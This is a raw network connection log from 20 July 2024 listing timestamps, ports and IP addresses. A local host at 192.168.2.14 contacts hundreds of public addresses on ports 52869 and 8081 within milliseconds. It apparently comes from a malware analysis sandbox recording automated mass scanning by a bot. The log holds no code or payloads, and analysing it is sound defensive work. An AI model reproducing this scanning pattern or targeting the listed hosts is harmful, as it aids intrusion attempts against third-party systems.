Jul 20, 2024 23:01:02.697365999 CEST	49909	52869	192.168.2.14	48.162.253.220
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	109.70.196.233
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	112.142.51.236
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	139.201.100.61
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	48.252.200.104
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	86.33.181.163
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	207.146.178.131
Jul 20, 2024 23:01:02.697587967 CEST	49909	52869	192.168.2.14	174.82.15.85
Jul 20, 2024 23:01:02.697588921 CEST	49909	52869	192.168.2.14	89.248.51.127
Jul 20, 2024 23:01:02.698036909 CEST	49909	52869	192.168.2.14	125.193.221.98
Jul 20, 2024 23:01:02.698036909 CEST	49909	52869	192.168.2.14	77.94.73.129
Jul 20, 2024 23:01:02.698036909 CEST	49909	52869	192.168.2.14	13.157.180.21
Jul 20, 2024 23:01:02.698036909 CEST	49909	52869	192.168.2.14	187.121.191.108
Jul 20, 2024 23:01:02.698036909 CEST	49909	52869	192.168.2.14	14.179.227.89
Jul 20, 2024 23:01:02.698036909 CEST	50165	8081	192.168.2.14	84.2.229.221
Jul 20, 2024 23:01:02.698036909 CEST	50165	8081	192.168.2.14	98.201.11.93
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	107.128.152.216
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	68.55.149.217
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	98.244.210.91
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	83.156.237.241
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	158.155.148.207
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	85.17.128.220
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	222.2.63.143
Jul 20, 2024 23:01:02.698245049 CEST	49909	52869	192.168.2.14	75.125.138.81
Jul 20, 2024 23:01:02.698470116 CEST	52869	49909	97.156.12.29	192.168.2.14
Jul 20, 2024 23:01:02.698474884 CEST	52869	49909	149.21.122.230	192.168.2.14
Jul 20, 2024 23:01:02.698483944 CEST	52869	49909	27.32.89.210	192.168.2.14
Jul 20, 2024 23:01:02.698551893 CEST	52869	49909	102.40.46.84	192.168.2.14
Jul 20, 2024 23:01:02.698555946 CEST	52869	49909	46.193.125.76	192.168.2.14
Jul 20, 2024 23:01:02.698564053 CEST	52869	49909	18.138.101.67	192.168.2.14
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	2.144.155.42
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	88.219.146.230
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	58.71.28.94
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	209.43.2.181
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	76.192.206.145
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	118.222.20.40
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	148.4.0.19
Jul 20, 2024 23:01:02.698565006 CEST	49909	52869	192.168.2.14	216.22.142.202
Jul 20, 2024 23:01:02.698568106 CEST	52869	49909	78.189.54.60	192.168.2.14
Jul 20, 2024 23:01:02.698575974 CEST	52869	49909	97.161.181.152	192.168.2.14
Jul 20, 2024 23:01:02.698580027 CEST	52869	49909	159.49.111.252	192.168.2.14
Jul 20, 2024 23:01:02.698584080 CEST	52869	49909	35.44.176.40	192.168.2.14
Jul 20, 2024 23:01:02.698591948 CEST	52869	49909	24.89.196.43	192.168.2.14
Jul 20, 2024 23:01:02.698596001 CEST	52869	49909	17.229.242.183	192.168.2.14
Jul 20, 2024 23:01:02.698600054 CEST	52869	49909	126.133.182.41	192.168.2.14
Jul 20, 2024 23:01:02.698604107 CEST	52869	49909	189.125.188.251	192.168.2.14
Jul 20, 2024 23:01:02.698611975 CEST	52869	49909	186.10.172.162	192.168.2.14
Jul 20, 2024 23:01:02.698616028 CEST	52869	49909	73.229.219.41	192.168.2.14
Jul 20, 2024 23:01:02.698853016 CEST	52869	49909	77.18.17.34	192.168.2.14
Jul 20, 2024 23:01:02.698859930 CEST	52869	49909	112.116.136.37	192.168.2.14
Jul 20, 2024 23:01:02.698868990 CEST	52869	49909	148.45.171.80	192.168.2.14
Jul 20, 2024 23:01:02.698873043 CEST	52869	49909	105.91.103.206	192.168.2.14
Jul 20, 2024 23:01:02.698877096 CEST	52869	49909	110.80.5.78	192.168.2.14
Jul 20, 2024 23:01:02.698880911 CEST	52869	49909	31.13.234.219	192.168.2.14
Jul 20, 2024 23:01:02.698884010 CEST	52869	49909	51.24.127.197	192.168.2.14
Jul 20, 2024 23:01:02.698892117 CEST	52869	49909	104.147.118.23	192.168.2.14
Jul 20, 2024 23:01:02.698895931 CEST	52869	49909	199.67.237.249	192.168.2.14
Jul 20, 2024 23:01:02.698904037 CEST	52869	49909	169.135.127.5	192.168.2.14
Jul 20, 2024 23:01:02.698913097 CEST	52869	49909	123.7.198.136	192.168.2.14
Jul 20, 2024 23:01:02.698915958 CEST	52869	49909	98.130.24.225	192.168.2.14
Jul 20, 2024 23:01:02.698920012 CEST	52869	49909	75.143.247.129	192.168.2.14
Jul 20, 2024 23:01:02.698924065 CEST	52869	49909	27.180.241.109	192.168.2.14
Jul 20, 2024 23:01:02.698928118 CEST	52869	49909	137.243.189.193	192.168.2.14
Jul 20, 2024 23:01:02.698940992 CEST	52869	49909	20.150.177.181	192.168.2.14
Jul 20, 2024 23:01:02.698945045 CEST	52869	49909	201.176.11.236	192.168.2.14
Jul 20, 2024 23:01:02.698952913 CEST	52869	49909	140.117.41.189	192.168.2.14
Jul 20, 2024 23:01:02.698956966 CEST	52869	49909	97.6.170.0	192.168.2.14
Jul 20, 2024 23:01:02.698960066 CEST	52869	49909	219.120.162.173	192.168.2.14
Jul 20, 2024 23:01:02.699012995 CEST	52869	49909	107.11.47.153	192.168.2.14
Jul 20, 2024 23:01:02.699017048 CEST	52869	49909	128.230.164.231	192.168.2.14
Jul 20, 2024 23:01:02.699026108 CEST	52869	49909	13.70.156.137	192.168.2.14
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	177.3.229.54
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	12.193.132.56
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	8.102.112.227
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	195.244.152.185
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	20.76.117.12
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	49.167.6.76
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	71.42.151.69
Jul 20, 2024 23:01:02.699096918 CEST	49909	52869	192.168.2.14	197.157.91.129
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	160.85.13.217
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	95.160.238.137
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	4.240.53.49
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	89.163.197.193
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	126.27.222.139
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	62.3.26.203
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	27.121.152.99
Jul 20, 2024 23:01:02.699215889 CEST	49909	52869	192.168.2.14	98.100.147.39
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	71.245.74.241
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	122.59.159.28
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	146.191.41.45
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	194.244.225.218
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	42.91.131.109
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	168.26.203.243
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	199.27.126.177
Jul 20, 2024 23:01:02.699780941 CEST	50165	8081	192.168.2.14	17.179.34.94
Jul 20, 2024 23:01:02.699820042 CEST	49909	52869	192.168.2.14	119.17.140.57
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	120.174.208.231
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	223.8.0.161
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	174.230.46.108
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	51.42.109.46
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	158.50.42.225
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	220.231.44.5
Jul 20, 2024 23:01:02.699820995 CEST	49909	52869	192.168.2.14	128.194.14.167
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	32.207.53.101
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	5.150.55.167
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	114.49.109.138
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	123.214.118.164
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	44.70.230.48
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	44.74.222.183
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	100.149.230.74
Jul 20, 2024 23:01:02.699836969 CEST	49909	52869	192.168.2.14	169.177.65.17
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	141.76.73.30
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	40.116.176.118
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	205.134.34.10
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	177.121.105.117
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	59.167.246.52
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	216.179.121.229
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	60.76.250.92
Jul 20, 2024 23:01:02.700560093 CEST	49909	52869	192.168.2.14	123.197.240.146
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	93.220.42.205
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	128.98.75.83
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	131.30.62.30
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	32.51.133.108
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	49.3.242.248
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	218.132.101.171
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	172.91.30.42
Jul 20, 2024 23:01:02.700642109 CEST	50165	8081	192.168.2.14	45.220.53.245
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	142.250.180.55
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	4.241.231.70
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	83.33.89.13
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	208.90.240.78
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	2.66.199.240
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	219.10.45.71
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	199.107.193.176
Jul 20, 2024 23:01:02.700840950 CEST	49909	52869	192.168.2.14	130.27.197.192
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	113.52.163.211
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	180.66.153.251
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	54.135.188.207
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	53.160.138.169
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	205.76.68.56
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	66.20.51.166
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	157.58.255.172
Jul 20, 2024 23:01:02.701369047 CEST	49909	52869	192.168.2.14	148.15.213.129
Jul 20, 2024 23:01:02.701517105 CEST	50165	8081	192.168.2.14	156.18.108.26
Jul 20, 2024 23:01:02.701517105 CEST	50165	8081	192.168.2.14	36.69.31.43
Jul 20, 2024 23:01:02.701517105 CEST	50165	8081	192.168.2.14	142.162.197.169
Jul 20, 2024 23:01:02.701517105 CEST	50165	8081	192.168.2.14	79.96.115.193
Jul 20, 2024 23:01:02.701517105 CEST	50165	8081	192.168.2.14	77.22.161.206
Jul 20, 2024 23:01:02.701517105 CEST	54268	8081	192.168.2.14	139.158.68.80
Jul 20, 2024 23:01:02.701517105 CEST	50165	8081	192.168.2.14	109.213.13.149
Jul 20, 2024 23:01:02.701714993 CEST	49909	52869	192.168.2.14	141.66.97.162
Jul 20, 2024 23:01:02.701715946 CEST	60310	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:02.701715946 CEST	52376	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:02.701960087 CEST	49909	52869	192.168.2.14	49.190.155.141
Jul 20, 2024 23:01:02.701960087 CEST	49909	52869	192.168.2.14	18.215.157.231
Jul 20, 2024 23:01:02.701960087 CEST	49909	52869	192.168.2.14	97.156.12.29
Jul 20, 2024 23:01:02.701961040 CEST	49909	52869	192.168.2.14	149.21.122.230
Jul 20, 2024 23:01:02.701961040 CEST	49909	52869	192.168.2.14	27.32.89.210
Jul 20, 2024 23:01:02.701961040 CEST	49909	52869	192.168.2.14	46.193.125.76
Jul 20, 2024 23:01:02.701961040 CEST	49909	52869	192.168.2.14	18.138.101.67
Jul 20, 2024 23:01:02.701961040 CEST	49909	52869	192.168.2.14	159.49.111.252
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	78.189.54.60
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	102.40.46.84
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	97.161.181.152
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	35.44.176.40
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	17.229.242.183
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	126.133.182.41
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	189.125.188.251
Jul 20, 2024 23:01:02.702404022 CEST	49909	52869	192.168.2.14	24.89.196.43
Jul 20, 2024 23:01:02.702506065 CEST	50165	8081	192.168.2.14	142.39.188.166
Jul 20, 2024 23:01:02.702506065 CEST	50165	8081	192.168.2.14	66.162.115.91
Jul 20, 2024 23:01:02.702506065 CEST	50165	8081	192.168.2.14	193.4.31.63
Jul 20, 2024 23:01:02.702506065 CEST	60168	52869	192.168.2.14	31.235.249.101
Jul 20, 2024 23:01:02.702610970 CEST	46882	8081	192.168.2.14	1.178.171.139
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	186.10.172.162
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	73.229.219.41
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	77.18.17.34
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	112.116.136.37
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	148.45.171.80
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	105.91.103.206
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	110.80.5.78
Jul 20, 2024 23:01:02.702788115 CEST	49909	52869	192.168.2.14	104.147.118.23
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	169.135.127.5
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	123.7.198.136
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	75.143.247.129
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	27.180.241.109
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	31.13.234.219
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	51.24.127.197
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	199.67.237.249
Jul 20, 2024 23:01:02.702830076 CEST	49909	52869	192.168.2.14	98.130.24.225
Jul 20, 2024 23:01:02.702877045 CEST	52869	49909	38.110.6.53	192.168.2.14
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	137.243.189.193
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	20.150.177.181
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	201.176.11.236
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	140.117.41.189
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	219.120.162.173
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	97.6.170.0
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	107.11.47.153
Jul 20, 2024 23:01:02.702981949 CEST	49909	52869	192.168.2.14	128.230.164.231
Jul 20, 2024 23:01:02.703083038 CEST	49909	52869	192.168.2.14	13.70.156.137
Jul 20, 2024 23:01:02.703083038 CEST	49909	52869	192.168.2.14	38.110.6.53
Jul 20, 2024 23:01:02.703277111 CEST	8081	35034	41.165.86.52	192.168.2.14
Jul 20, 2024 23:01:02.703290939 CEST	8081	50165	32.229.108.150	192.168.2.14
Jul 20, 2024 23:01:02.703294992 CEST	8081	50165	82.65.162.88	192.168.2.14
Jul 20, 2024 23:01:02.703303099 CEST	8081	50165	68.159.108.135	192.168.2.14
Jul 20, 2024 23:01:02.703306913 CEST	8081	50165	136.69.115.240	192.168.2.14
Jul 20, 2024 23:01:02.703315020 CEST	8081	50165	167.79.36.65	192.168.2.14
Jul 20, 2024 23:01:02.703319073 CEST	8081	50165	130.91.56.25	192.168.2.14
Jul 20, 2024 23:01:02.703322887 CEST	8081	50165	27.92.181.202	192.168.2.14
Jul 20, 2024 23:01:02.703326941 CEST	8081	50165	197.236.120.161	192.168.2.14
Jul 20, 2024 23:01:02.703330040 CEST	8081	50165	219.81.6.190	192.168.2.14
Jul 20, 2024 23:01:02.703337908 CEST	8081	50165	125.6.23.33	192.168.2.14
Jul 20, 2024 23:01:02.703346014 CEST	8081	50165	122.76.239.71	192.168.2.14
Jul 20, 2024 23:01:02.703346014 CEST	50165	8081	192.168.2.14	32.229.108.150
Jul 20, 2024 23:01:02.703346014 CEST	50165	8081	192.168.2.14	82.65.162.88
Jul 20, 2024 23:01:02.703346014 CEST	50165	8081	192.168.2.14	136.69.115.240
Jul 20, 2024 23:01:02.703346014 CEST	50165	8081	192.168.2.14	68.159.108.135
Jul 20, 2024 23:01:02.703346014 CEST	50165	8081	192.168.2.14	27.92.181.202
Jul 20, 2024 23:01:02.703355074 CEST	8081	50165	178.230.72.156	192.168.2.14
Jul 20, 2024 23:01:02.703380108 CEST	35034	8081	192.168.2.14	41.165.86.52
Jul 20, 2024 23:01:02.703397036 CEST	8081	50165	1.145.83.202	192.168.2.14
Jul 20, 2024 23:01:02.703401089 CEST	8081	50165	31.201.212.193	192.168.2.14
Jul 20, 2024 23:01:02.703406096 CEST	8081	50165	184.13.240.134	192.168.2.14
Jul 20, 2024 23:01:02.703411102 CEST	8081	50165	91.103.229.29	192.168.2.14
Jul 20, 2024 23:01:02.703423023 CEST	8081	50165	91.180.202.227	192.168.2.14
Jul 20, 2024 23:01:02.703427076 CEST	8081	50165	43.81.248.78	192.168.2.14
Jul 20, 2024 23:01:02.703434944 CEST	8081	50165	167.173.110.218	192.168.2.14
Jul 20, 2024 23:01:02.703449011 CEST	8081	50165	207.19.189.91	192.168.2.14
Jul 20, 2024 23:01:02.703453064 CEST	8081	50165	184.7.227.14	192.168.2.14
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	167.79.36.65
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	130.91.56.25
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	197.236.120.161
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	219.81.6.190
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	125.6.23.33
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	122.76.239.71
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	178.230.72.156
Jul 20, 2024 23:01:02.703501940 CEST	50165	8081	192.168.2.14	1.145.83.202
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	91.103.229.29
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	91.180.202.227
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	184.13.240.134
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	43.81.248.78
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	31.201.212.193
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	167.173.110.218
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	184.7.227.14
Jul 20, 2024 23:01:02.703567028 CEST	50165	8081	192.168.2.14	207.19.189.91
Jul 20, 2024 23:01:02.703777075 CEST	52869	49909	147.70.92.77	192.168.2.14
Jul 20, 2024 23:01:02.703782082 CEST	52869	49909	98.234.203.104	192.168.2.14
Jul 20, 2024 23:01:02.703785896 CEST	52869	49909	135.159.233.191	192.168.2.14
Jul 20, 2024 23:01:02.703794003 CEST	52869	49909	9.185.243.106	192.168.2.14
Jul 20, 2024 23:01:02.703799009 CEST	52869	49909	58.189.108.72	192.168.2.14
Jul 20, 2024 23:01:02.703807116 CEST	52869	49909	137.160.69.102	192.168.2.14
Jul 20, 2024 23:01:02.703810930 CEST	52869	49909	154.241.87.3	192.168.2.14
Jul 20, 2024 23:01:02.703814030 CEST	49909	52869	192.168.2.14	147.70.92.77
Jul 20, 2024 23:01:02.703814030 CEST	49909	52869	192.168.2.14	98.234.203.104
Jul 20, 2024 23:01:02.703814983 CEST	52869	49909	94.73.230.238	192.168.2.14
Jul 20, 2024 23:01:02.703819036 CEST	52869	49909	139.203.187.182	192.168.2.14
Jul 20, 2024 23:01:02.703821898 CEST	52869	49909	27.36.78.47	192.168.2.14
Jul 20, 2024 23:01:02.703825951 CEST	52869	49909	199.197.22.193	192.168.2.14
Jul 20, 2024 23:01:02.703835011 CEST	49909	52869	192.168.2.14	135.159.233.191
Jul 20, 2024 23:01:02.703835011 CEST	49909	52869	192.168.2.14	9.185.243.106
Jul 20, 2024 23:01:02.703835964 CEST	49909	52869	192.168.2.14	58.189.108.72
Jul 20, 2024 23:01:02.703857899 CEST	49909	52869	192.168.2.14	139.203.187.182
Jul 20, 2024 23:01:02.703857899 CEST	49909	52869	192.168.2.14	154.241.87.3
Jul 20, 2024 23:01:02.703857899 CEST	49909	52869	192.168.2.14	199.197.22.193
Jul 20, 2024 23:01:02.703881025 CEST	49909	52869	192.168.2.14	137.160.69.102
Jul 20, 2024 23:01:02.703881025 CEST	49909	52869	192.168.2.14	94.73.230.238
Jul 20, 2024 23:01:02.703881025 CEST	49909	52869	192.168.2.14	27.36.78.47
Jul 20, 2024 23:01:02.703882933 CEST	52869	49909	45.163.172.72	192.168.2.14
Jul 20, 2024 23:01:02.703891993 CEST	52869	49909	117.161.65.55	192.168.2.14
Jul 20, 2024 23:01:02.703896046 CEST	52869	49909	9.160.125.91	192.168.2.14
Jul 20, 2024 23:01:02.703903913 CEST	52869	49909	208.207.173.215	192.168.2.14
Jul 20, 2024 23:01:02.703907967 CEST	52869	49909	41.36.48.240	192.168.2.14
Jul 20, 2024 23:01:02.703917027 CEST	52869	49909	208.27.204.3	192.168.2.14
Jul 20, 2024 23:01:02.703921080 CEST	52869	49909	190.184.231.156	192.168.2.14
Jul 20, 2024 23:01:02.703924894 CEST	52869	49909	79.148.159.224	192.168.2.14
Jul 20, 2024 23:01:02.703927994 CEST	52869	49909	152.175.60.138	192.168.2.14
Jul 20, 2024 23:01:02.703932047 CEST	52869	49909	161.197.234.242	192.168.2.14
Jul 20, 2024 23:01:02.703936100 CEST	52869	49909	38.51.104.119	192.168.2.14
Jul 20, 2024 23:01:02.703938961 CEST	52869	49909	146.125.193.198	192.168.2.14
Jul 20, 2024 23:01:02.703943014 CEST	52869	49909	39.69.243.182	192.168.2.14
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	117.161.65.55
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	208.27.204.3
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	79.148.159.224
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	161.197.234.242
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	38.51.104.119
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	208.207.173.215
Jul 20, 2024 23:01:02.703982115 CEST	49909	52869	192.168.2.14	39.69.243.182
Jul 20, 2024 23:01:02.704051971 CEST	49909	52869	192.168.2.14	45.163.172.72
Jul 20, 2024 23:01:02.704051971 CEST	49909	52869	192.168.2.14	9.160.125.91
Jul 20, 2024 23:01:02.704051971 CEST	49909	52869	192.168.2.14	190.184.231.156
Jul 20, 2024 23:01:02.704051971 CEST	49909	52869	192.168.2.14	41.36.48.240
Jul 20, 2024 23:01:02.704051971 CEST	49909	52869	192.168.2.14	146.125.193.198
Jul 20, 2024 23:01:02.704051971 CEST	49909	52869	192.168.2.14	152.175.60.138
Jul 20, 2024 23:01:02.704220057 CEST	52869	49909	196.14.224.246	192.168.2.14
Jul 20, 2024 23:01:02.704224110 CEST	52869	49909	99.142.147.62	192.168.2.14
Jul 20, 2024 23:01:02.704232931 CEST	52869	49909	141.16.59.199	192.168.2.14
Jul 20, 2024 23:01:02.704236984 CEST	52869	49909	102.0.106.231	192.168.2.14
Jul 20, 2024 23:01:02.704245090 CEST	52869	49909	36.240.161.230	192.168.2.14
Jul 20, 2024 23:01:02.704252958 CEST	52869	49909	110.76.178.183	192.168.2.14
Jul 20, 2024 23:01:02.704257011 CEST	52869	49909	144.97.6.3	192.168.2.14
Jul 20, 2024 23:01:02.704257011 CEST	49909	52869	192.168.2.14	99.142.147.62
Jul 20, 2024 23:01:02.704261065 CEST	52869	49909	193.92.170.16	192.168.2.14
Jul 20, 2024 23:01:02.704267979 CEST	52869	49909	159.229.70.228	192.168.2.14
Jul 20, 2024 23:01:02.704277039 CEST	52869	49909	122.186.34.185	192.168.2.14
Jul 20, 2024 23:01:02.704286098 CEST	52869	49909	120.161.27.194	192.168.2.14
Jul 20, 2024 23:01:02.704289913 CEST	52869	49909	121.211.111.241	192.168.2.14
Jul 20, 2024 23:01:02.704298973 CEST	52869	49909	200.100.75.233	192.168.2.14
Jul 20, 2024 23:01:02.704315901 CEST	49909	52869	192.168.2.14	102.0.106.231
Jul 20, 2024 23:01:02.704315901 CEST	49909	52869	192.168.2.14	110.76.178.183
Jul 20, 2024 23:01:02.704315901 CEST	49909	52869	192.168.2.14	122.186.34.185
Jul 20, 2024 23:01:02.704315901 CEST	49909	52869	192.168.2.14	193.92.170.16
Jul 20, 2024 23:01:02.704315901 CEST	49909	52869	192.168.2.14	121.211.111.241
Jul 20, 2024 23:01:02.704355955 CEST	49909	52869	192.168.2.14	196.14.224.246
Jul 20, 2024 23:01:02.704355955 CEST	49909	52869	192.168.2.14	141.16.59.199
Jul 20, 2024 23:01:02.704355955 CEST	49909	52869	192.168.2.14	36.240.161.230
Jul 20, 2024 23:01:02.704355955 CEST	49909	52869	192.168.2.14	144.97.6.3
Jul 20, 2024 23:01:02.704356909 CEST	49909	52869	192.168.2.14	159.229.70.228
Jul 20, 2024 23:01:02.704356909 CEST	49909	52869	192.168.2.14	120.161.27.194
Jul 20, 2024 23:01:02.704356909 CEST	49909	52869	192.168.2.14	200.100.75.233
Jul 20, 2024 23:01:02.704502106 CEST	52869	49909	18.83.142.79	192.168.2.14
Jul 20, 2024 23:01:02.704510927 CEST	52869	49909	118.85.135.176	192.168.2.14
Jul 20, 2024 23:01:02.704514980 CEST	52869	49909	221.108.123.18	192.168.2.14
Jul 20, 2024 23:01:02.704519987 CEST	52869	49909	133.189.249.85	192.168.2.14
Jul 20, 2024 23:01:02.704524994 CEST	52869	49909	197.185.228.174	192.168.2.14
Jul 20, 2024 23:01:02.704529047 CEST	52869	49909	223.101.21.113	192.168.2.14
Jul 20, 2024 23:01:02.704536915 CEST	52869	49909	37.234.26.143	192.168.2.14
